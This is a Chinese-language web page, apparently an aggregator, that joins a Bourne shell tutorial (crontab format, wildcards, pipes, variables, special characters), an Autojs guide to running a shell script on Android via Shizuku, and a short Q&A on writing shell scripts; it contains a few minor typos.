现在windows有个计划任务(在固定的时间,日期自动执行某任务),其实UNIX很早就有这个功能了,也就是所谓的Shell的自动执行。一些UNIX资源,如cron可以自动执行Shell程序而无需用户的参与,(这个功能好象在/var/spool/crotab目录里)。 Crontab 程序对于系统管理员来说是非常有用的。Cron服务用于计划程序在特定时间(月、日、周、时、分)运行。我们以root的crontab 为例。根用户的crontab 文件放在 /var/spool/crontab/root 中,其格式如下: (1) (2) (3) (4) (5) (6) 0 0 * * 3 /usr/bin/updatedb 1. 分钟 (0-60) 2. 小时 (0-23) 3. 日 (1-31) 4. 月 (1-12) 5. 星期 (1-7) 6. 所要运行的程序 2.Shell的功能和特点 1>命令行解释 2>使用保留字 3>使用Shell元字符(通配符) 4>可处理程序命令 5>使用输入输出重定向和管道 6>维护一些变量 7>运行环境控制 8>支持Shell编程 对于"命令行解释"就不多说了,就是在shell提示符(例如:"$","%","#"等)后输入一行unix命令,Shell将接收用户的输入。 "使用保留字":Shell有一些具有特殊意义的字,例如在Shell脚本中,do,done,for等字用来控制循环操作,if,then等控制条件操作。保留字随Shell环境的不同而不同。 "通配符":* 匹配任何位置 ? 匹配单个字符 [] 匹配的字符范围或列表 例如: $ls [a-c]* 将列出以a-c范围内字符开头的所有文件 $ls [a,m,t]* 将列出以e,m或t开头的所有文件 "程序命令" :当用户输入命令后,Shell读取环境变量$path(一般在用户自己的.profile中设置),该变量包含了命令可执行文件可能存在的目录列表。 shell从这些目录中寻找命令所对应的可执行文件,然后将该文件送给内核执行。 "输入输出重定向及管道" :重定向的功能同DOS的重定向功能: ">" 重定向输出 "<" 重定向输入 而管道符号,是unix功能强大的一个地方,符号是一条竖线:"|",用法: command 1 | command 2 他的功能是把第一个命令command 1执行的结果作为command 2的输入传给command 2,例如: $ls -s|sort -nr|pg 该命令列出当前目录中的所有文件,并把输出送给sort命令作为输入,sort命令按数字递减的顺序把ls的输出排序。然后把排序后的 内容传送给pg命令,pg命令在显示器上显示sort命令排序后的内容。 "维护变量" :Shell可以维护一些变量。变量中存放一些数据供以后使用。用户可以用"="给变量赋值,如: $lookup=/usr/mydir 该命令建立一个名为lookup的变量并给其赋值/usr/mydir,以后用户可以在命令行中使用lookup来代替/usr/mydir,例如: $echo $lookup 结果显示:/usr/mydir 为了使变量能被子进程使用,可用exprot命令,例如: $lookup=/usr/mydir $export lookup "运行环境控制" :当用户登陆启动shell后,shell要为用户创建一个工作的环境,如下: 1>当login程序激活用户shell后,将为用户建立环境变量。从/etc/profile和.profile文件中读出,在这些文件中一般都用$TERM 变量设置终端类型,用$PATH变量设置Shell寻找可执行文件的路径。 2>从/etc/passwd文件或命令行启动shell时,用户可以给shell程序指定一些参数,例如"-x",可以在命令执行前显示该命令及其参数。后面详细介绍这些参数。 "shell编程" :本文主要介绍的内容。 shell本身也是一种语言(*可以先理解为unix命令的组合,加上类C的条件,循环等程序控制语句,类似dos批处理,但要强大的多),用户可以 通过shell编程(脚本,文本文件),完成特定的工作。 SHELL变量 下面我们详细的介绍Bourne Shell的编程: 自从贝尔实验室设计了Bourne Shell。从那时起许多厂商根据不同的硬件平台设计了许多版本得unix。但在众多版本的unix中,Bourne Shell 一直保持一致。 1>Bsh的启动:用户在登陆后,系统根据文件/etc/passwd中有关该用户的信息项启动Shell。例如某用户在passwd中 的信息项为: ice_walk:!:411:103:Imsnow ,ice_walk:/home/ice_walk:/bin/bsh 则表明,用户名是ice_walk等信息,在最后一项"/bin/bsh"表明用户的sh环境类型是bsh,于是系统启动之。在启动或执行(包括下面我们要讲 的shell程序--脚本)过程中可以使用以下一些参数,我们一一说明: -a 将所有变量输出 -c "string"从string中读取命令 -e 使用非交互式模式 -f 禁止shell文件名产生 -h 定义 -i 交互式模式 -k 为命令的执行设置选项 -n 读取命令但不执行 -r 受限模式 -s 命令从标准输入读取 -t 执行一命令,然后退出shell -u 在替换时,使用未设置的变量将会出错 -v 显示shell的输入行 -x 跟踪模式,显示执行的命令 许多模式可以组合起来用,您可以试试了,但-ei好象不行,你说why呢? 使用set可以设置或取消shell的选项来改变shell环境。打开选项用"-",关闭选项用"+",多数unix允许打开或关闭a、f、e、h、k、n、u v和x选项。若显示Shell中已经设置的选项,执行: $echo $-Bsh中每个用户的home目录下都有一个.profile文件,可以修改该文件来修改shell环境。为了增加一个可执行文件的路径(例如/ice_walk/bin),可以把下面代码加入.profile中PATH=$PATH:/ice_walk/bin;exprot PATH.profile中shell的环境变量意思如下: CDPATH 执行cd命令时使用的搜索路径 HOME 用户的home目录 IFS 内部的域分割符,一般为空格符、制表符、或换行符 MAIL 指定特定文件(信箱)的路径,有UNIX邮件系统使用 PATH 寻找命令的搜索路径(同dos的config.sys的 path) PS1 主命令提示符,默认是"$" PS2 从命令提示符,默认是">" TERM 使用终端类型 2>Bsh里特殊字符及其含义 在Bsh中有一组非字母字符。这些字符的用途分为四类:作为特殊变量名、产生文件名、数据或程序控制以及引用和逃逸字符控制。他们 可以让用户在Shell中使用最少的代码完成复杂的任务。 *> Shell变量名使用的特殊字符 $# 传送给命令Shell的参数序号 $- 在Shell启动或使用set命令时提供选项 $? 上一条命令执行后返回的值 $$ 当前shell的进程号 $! 上一个子进程的进程号 $@ 所有的参数,每个都用双括号括起 $* 所有参数,用双括号括起 $n 位置参数值,n表示位置 $0 当前shell名 *>产生文件名的特殊字符包括"*","?","[]",上面讲过,不再多说。 *>数据或程序控制使用的特殊字符 >(file) 输出重定向到文件中(没有文件则创建,有则覆盖) >>(file) 输出重定向到文件中(没有则创建,有则追加到文件尾部) <(file) 输入重定向到文件 ; 命令分割符| 管道符 & 后台运行(例如:sleep 10 &) ` ` 命令替换,重定向一条命令的输出作为另一命令的参数。 *>对于引用或逃逸的特殊字符 Bsh用单引号' '和双引号" "将特殊字符或由空白分隔的字引用起来组成一个?
shell脚本
牙叔教程 简单易懂
用autojs执行shell脚本, 脚本所在目录为 /data/local/tmp
做息屏运行脚本, 要用到类似的方法,
比如息屏使用adb去调用dex文件, 来达到息屏效果,
两者相同的地方是
手机: Mi 8
Android版本: 10
Autojs版本: 9.0.10
非常不幸, 没有权限, 复制文件失败,
所以我们需要要提高权限, Shizuku 可以提升我们的权限到adb级别,
Shizuku的使用请查阅上一篇教程, 激活Shizuku
将权限提升为adb级别之后, 我们重新复制文件
首先, 检查有没有adb权限
复制文件
查看文件yashu.sh权限
可以看到权限是-rw-rw----, 没有执行权限, 接下来, 我们就添加执行权限
code=0, 0表示没有发生错误, 没有错误就意味着, 命令正常执行,
再次查看文件yashu.sh权限
可以看到权限是-rwxrwx--x, 有了执行权限, 接下来, 我们就执行这个shell脚本
shell脚本内容
执行shell脚本的命令
息屏运行脚本使用到的命令与执行shell脚本类似, 这也是我写这篇教程的原因,
方便以后复制黏贴
思路是最重要的, 其他的百度, bing, stackoverflow, github, 安卓文档, autojs文档, 最后才是群里问问
--- 牙叔教程
部分内容来自网络
本教程仅用于学习, 禁止用于其他用途
编写shell脚本的基本步骤是什么?
shell脚本只是命令操作的集合。就是把你手动交互输入的命令放在一个文件里,自动依次执行。
步骤大约如下:
1. 在行首指定shell脚本的解析器,如 #!/bin/bash
2. 接着依次每行输入shell的操作命令
3. 输入完毕后,给文件设置可执行权限并运行。
Linux操作系统下Shell脚本教程汇总
http://hi.baidu.com/yutianedu/blog/item/b0605aee817d3b4278f055a1.html